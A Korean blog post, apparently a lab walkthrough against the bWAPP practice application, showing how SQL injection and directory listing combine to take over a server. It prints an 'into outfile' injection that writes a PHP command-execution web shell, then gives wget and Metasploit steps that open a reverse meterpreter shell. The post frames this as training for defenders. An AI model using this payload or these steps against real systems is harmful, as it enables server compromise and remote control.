본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 2-1(시나리오). SQL 인젝션 [GET/SEARCH] 멀웨어 업로드 시나리오

by Robert8478 2023. 12. 12.

이번 페이지에서 나온 SQL 인젝션과 디렉터리 리스팅 취약점을 이용한 공격자의 시나리오를 보면 악성코드의 업로드가 가능하고 이를 통해

시스템의 장악이 가능해질 수 있다.

bWAPP/images 디렉터리를 URL 경로에 입력하면 images 폴더 내부 구조를 볼 수 있었다. 이것이 디렉터리 리스팅 취약점인데 이를 이용해 SQL인젝션 취약점을 이용해서 원격으로 이 디렉터리 안에 악성코드를 생성할 수 있을 것이다.

https://github.com/naiduv/codecrawl/blob/master/code/bwapp-sqli.rb

위 github 경로로 이동해서 raw를 누른 후 해당 주소를 칼리리눅스에서 wget [해당주소] 를 입력하여 받아준다.
sqli.rb 이름으로 변경하여 받아줄건데 이때 -O 옵션을 쓸 수 있다.
그러면 명령어는 sudo wget -O /usr/share/metasploit-framework/modules/exploits/multi/http/sqli.rb https://raw.githubusercontent.com/naiduv/codecrawl/master/code/bwapp-sqli.rb 이다.

우선 SQL 인젝션 취약점으로 디렉터리에 악성코드를 생성해보자.

' union select 1,"<?php system($_GET['cmd'])?>",3,4,5,6,7 into outfile "/var/www/bWAPP/images/sqli.php"#
위와 같은 쿼리를 빈칸에 넣고 수행해주면 저 경로에 sqli.php 파일이 생성된다.
sqli.php 악성코드는 원격으로 명령을 실행하는 스크립트 파일이다. 이를 칼리 리눅스로 연결할수 있다. 가서 확인해보자.

가보았더니 sqli.php가 생성된 것을 확인할 수 있다. 이는 $_GET['cmd']로 원격으로 명령을 실행하는 스크립트 파일이다.
이제 칼리리눅스로 돌아가서 msfconsole을 실행하자 터미널에 sudo msfconsole을 쳐서 들어간다. msfconsole 실행 전
service postgresql start로 db를 시작해 주자.

그리고 커스텀 모듈을 사용해야 하니 reload_all을 이용해 모듈을 불러와주자.
그리고 search bwapp을 치면 추가한 모듈이 보일 것이다.

그리고 use exploit/multi/http/sqli를 써서 해당 모듈을 사용하자.
이제 show options 명령어로 옵션을 살펴보면 된다.
여기서는 rhost만 지정해 줄 것이다.

set rhosts [bWAPP 아이피 주소] 명령어로 remote host를 지정해 주었다.이제 exploit을 입력해서 공격을 수행하자.

이는 공격자 단말 4444포트를 열어서 대상 서버와 연결할 핸들러를 생성해서 리스닝하고, 대상 서버에서 JP.php 파일이 생성되면서
reverse로 연결된다. 공격 성공 시 세션이 연결되고 meterpreter 명령어 콘솔이 나타난다. 이제 sysinfo 등과 같은 명령어를 쓸 수 있다.
여기서 shell 명령어를 입력하면 셸 권한을 획득하고 원격으로 시스템 제어가 가능해진다.


이렇게 한두개의 취약점만 가지고도 크래커는 시스템을 장악까지 할 정도로 많은 시나리오를 구상해서 공격할 수가 있다.
대응하는 입장에서는 이런 시나리오들을 반드시 고려하여 대응방안을 수립해야 할 것이다.